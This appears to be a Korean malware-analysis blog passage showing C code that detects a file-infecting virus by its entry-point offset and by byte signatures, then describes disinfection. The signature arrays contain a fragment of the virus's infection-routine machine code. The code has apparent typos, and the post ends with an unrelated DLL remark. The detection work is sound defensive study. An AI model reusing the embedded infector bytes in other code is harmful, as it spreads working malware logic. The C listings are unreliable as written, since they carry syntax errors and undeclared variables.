해당 샘플의 경우 다형성을 띄고 있지 않다. 그렇기에 진단이나 치료에 있어 상대적으로 어렵지 않다. 아래 바이너리는 감염된 두 파일에 덧붙여진 코드를 나타낸다. 코드에 있어 다른 부분은 0x1B 부터 4 bytes 만 다른 것을 확인할 수 있으며, 여기에 있는 값은 감염되기 이전의 EP 값이다. 따라서 이를 토대로 진단 코드를 선정할 수 있다.

우선 위 바이너리를 확인하기 전에 파일의 특징적인 면이 있다. 바로 감염된 파일의 AddressofEntrypoint 가 덧붙여진 코드의 첫 지점(:0x26200, :0x2B200)을 가리킨다는 것이다. 이와 함께 해당 지점에서 파일의 끝(EOF)까지의 크기가 0x118F . 따라서 EOF – 0x118F AddressofEntrypoint 가 가리키는 Offset 이 동일한 위치가 된다. 이를 코드로 짜면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
BOOL FirstDetection(HANDLE hFile)
{
    DWORD lpNumberOfBytesRead;
 
    DWORD NumberofSections;
    DWORD AddressofEntrypoint;
    
 
    DWORD CheckOffset = dwSize - 0x118f;
 
    lpAddr = VirtualAlloc(00x1000, MEM_COMMIT, PAGE_READWRITE);
    ReadFile(hFile, lpAddr, 0x1000&lpNumberOfBytesRead, 0);
 
    pDos = (PIMAGE_DOS_HEADER)lpAddr;
    pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (BYTE *)pDos);
    pFile = (PIMAGE_FILE_HEADER)(0x4 + (BYTE *)pNt);
    pOption = (PIMAGE_OPTIONAL_HEADER)(0x18 + (BYTE *)pNt);
    pSection = (PIMAGE_SECTION_HEADER)(pFile->SizeOfOptionalHeader + (BYTE *)pOption);
 
    AddressofEntrypoint = pOption->AddressOfEntryPoint;
    NumberofSections = pFile->NumberOfSections;
 
    for (int i = 0; i < NumberofSections; i++)
    {
        if (AddressofEntrypoint > pSection->VirtualAddress && AddressofEntrypoint < (pSection->VirtualAddress + pSection->Misc.VirtualSize))
        {
            EPOffset = AddressofEntrypoint - pSection->VirtualAddress + pSection->PointerToRawData;
        }
        pSection++;
    }
    pSection--;
 
    if (CheckOffset == EPOffset)
    {
        return TRUE;
    }
    return FALSE;
}
cs

위 코드를 통해 선진단을 하여 1차 분류를 한다. 조건에 부합한 파일에 다시 진단을 하여 핵심 코드 부분을 비교하여야 한다. 본 진단에서 사용할 바이너리는 두 부분으로 나누었다. 하나는 선진단에서 찾은 EP Offset 에서의 바이너리를 비교할 것이고, 다른 하나는 아래 그림에 나타낸 0x100 만큼의 크기이다. 해당 부분은 파일을 감염시키는 부분의 코드로 감염형 악성코드에서 중요한 부분이라 할 수 있다.

이러한 조건들을 다음과 같은 코드로 구성하여 비교할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
BOOL LastDetection(HANDLE hFile)
{
    DWORD lpNumberOfBytesRead;
 
    PVOID tmp;
    char ReadBuffer1[0x20];
    char ReadBuffer2[0x100];
    char CheckBuffer1[0x20= { '\x60','\x78','\x03','\x79','\x01','\xEB','\xE8','\x74','\x11','\x00','\x00','\x8B','\x74','\x24','\x20','\xE8','\x11','\x00','\x00','\x00','\x61','\x78','\x03','\x79','\x01','\xEB','\x68'};
    char CheckBuffer2[0x100= {'\xC8''\x00''\x00''\x00''\x60''\x81''\xEC''\x00''\x10''\x00''\x00''\x8B''\xFC''\x68''\x00''\x10''\x00''\x00''\x57''\xFF''\x75''\x08''\xFF''\x56''\x34''\x0F''\xB7''\x47''\x3C''\x03''\xF8''\x3B''\xFD''\x0F''\x87''\xE4''\x00''\x00''\x00''\x66''\x81''\x3F''\x50''\x45''\x0F''\x85''\xD9''\x00''\x00''\x00''\x81''\xBF''\x9B''\x01''\x00''\x00''\x79''\x6C''\x50''\x7A''\x0F''\x84''\xC9''\x00''\x00''\x00''\x8D''\x9F''\xF8''\x00''\x00''\x00''\x0F''\xB7''\x4F''\x06''\x49''\x83''\xC3''\x28''\xE2''\xFB''\x3B''\xDD''\x0F''\x87''\xB1''\x00''\x00''\x00''\x8B''\x47''\x28''\x2B''\x43''\x0C''\x72''\x23''\x03''\x43''\x14''\x6A''\x00''\x50''\xFF''\x75''\x08''\xFF''\x56''\x3C''\x50''\x8B''\xC4''\x6A''\x04''\x50''\xFF''\x75''\x08''\xFF''\x56''\x34''\x58''\x66''\x3D''\x60''\xE8''\x0F''\x84''\x86''\x00''\x00''\x00''\x81''\x4B''\x24''\x00''\x00''\x00''\xE0''\x6A''\x02''\x6A''\x00''\xFF''\x75''\x08''\xFF''\x56''\x3C''\x83''\xF8''\xFF''\x74''\x70''\x50''\x05''\x8F''\x11''\x00''\x00''\x2B''\x43''\x14''\x89''\x43''\x10''\x8B''\x53''\x08''\x3B''\xC2''\x72''\x16''\x89''\x43''\x08''\x8B''\x4F''\x38''\x49''\x03''\xC1''\x03''\xD1''\xF7''\xD1''\x23''\xC1''\x23''\xD1''\x2B''\xC2''\x01''\x47''\x50''\x59''\x2B''\x4B''\x14''\x03''\x4B''\x0C''\x87''\x4F''\x28''\x03''\x4F''\x34''\xE8''\x00''\x00''\x00''\x00''\x5F''\x81''\xEF''\x13''\x0E''\x00''\x00''\x89''\x0F''\x83''\xEF''\x1B''\x68''\x8F''\x11''\x00''\x00''\x57''\xFF''\x75''\x08''\xFF''\x56''\x38''\x83''\xF8''\xFF''\x74''\x18''\x6A''\x00''\x6A''\x00''\xFF''\x75''\x08''\xFF''\x56''\x3C''\x8B''\xC4''\x68'};
    
    SetFilePointer(hFile, EPOffset, 00);
    ReadFile(hFile, ReadBuffer1, 0x20&lpNumberOfBytesRead, 0);
 
 
    OrigEP = (BYTE)ReadBuffer1[0x1b];
    OrigEP += (BYTE)ReadBuffer1[0x1c]*0x100;
    OrigEP += (BYTE)ReadBuffer1[0x1d]*0x10000;
    OrigEP += (BYTE)ReadBuffer1[0x1e]*0x1000000;
    OrigEP -= pOption->ImageBase;
 
    SetFilePointer(hFile, EPOffset + 0xd5800);
    ReadFile(hFile, ReadBuffer2, 0x100&lpNumberOfBytesRead, 0);
 
    for (int i = 0; i < 0x1b; i++)
    {
        if (ReadBuffer1[i] != CheckBuffer1[i])
        {        
            /* Check a aml data size at mal's data[0xdf6]&[e3c] */
            return FALSE;
        }
    }
 
    for(int i=0; i< 0x100; i++)
    {
        if(ReadBuffer2[i] != CheckBuffer2[i])
        {
            return FALSE;
        }
    }
 
    return TRUE;
}
cs

이러한 진단 코드를 통해 감염된 파일들을 탐색하면 올바르게 진단하는 것을 확인할 수 있다.

위와 같이 진단을 한 다음 감염된 파일들을 치료하여야 한다. 우선 파일 뒷부분에 덧붙여진 0x118F 만큼을 잘라내는 것과 PE 헤더의 AddressofEntrypoint 를 올바르게 수정해주어야 한다. 그리고 파일을 실행에 직접적으로 관련이 있는 SizeofRawData 의 값도 수정해주어야 한다. 이는 다음과 같은 코드로 나타낼 수 있다.



5. 결론

제작한 코드로 치료한 결과는 아래의 표와 같다. 아래의 표는 국내 모 백신이 치료한 파일들의 MD5 값과 직접 제작한 코드로 치료한 파일의 MD5 를 비교한 것으로 해시 값이 동일한 것을 확인할 수 있다

하지만 위 두 번째 표와 같이 감염형 악성코드를 치료했다는 것이 감염 이전과 완전히 동일하는 것을 뜻하지는 않는다. 물론 가능하다면 이전과 완전히 동일하게 하는 것이 가장 이상적이지만, 감염형 악성코드가 동작할 때 기존 파일의 정보를 모두 보존하지는 않는다. 그렇기에 복구할 수 없는 부분도 존재하게 된다. 또한 정책적인 면에서 위험의 소지가 있다면 최소한만큼만 수정하는 경우도 있다. 그러므로 치료되었음에도 감염 이전과 해시 값이 다르게 나타나는 경우도 빈번하다.


아주 기초적인 DLL 파일로 지정된 경로(코드에선 Kali\Dekstop)에 아무런 내용이 없는 txt 파일을 만드는 코드이다.

아래 코드는 DLL 을 로드하기 위한 EXE 파일의 코드이다.